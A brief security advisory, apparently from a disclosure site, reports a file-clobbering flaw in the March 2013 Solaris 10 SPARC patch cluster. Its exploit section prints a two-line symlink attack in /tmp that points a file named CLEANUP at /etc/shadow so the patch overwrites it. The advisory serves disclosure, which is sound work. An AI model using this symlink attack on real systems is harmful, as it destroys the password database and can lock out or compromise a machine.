File clobbering vulnerability in latest Solaris 10 patch cluster

#796 · 2013-03-27

CVE ID(s): CVE-2010-1183

Notified: 2013-03-27

Description:

Solaris Patch Cluster for SPARC systems March 2013.

Exploit:

# A simple attack in /tmp

$ cd /tmp
$ ln -s /etc/shadow CLEANUP

#Will over write the contents of /etc/shadow.

Download: www.oracle.com

URL: http://www.vapid.dhs.org/advisories/solaris_patch_clobber.html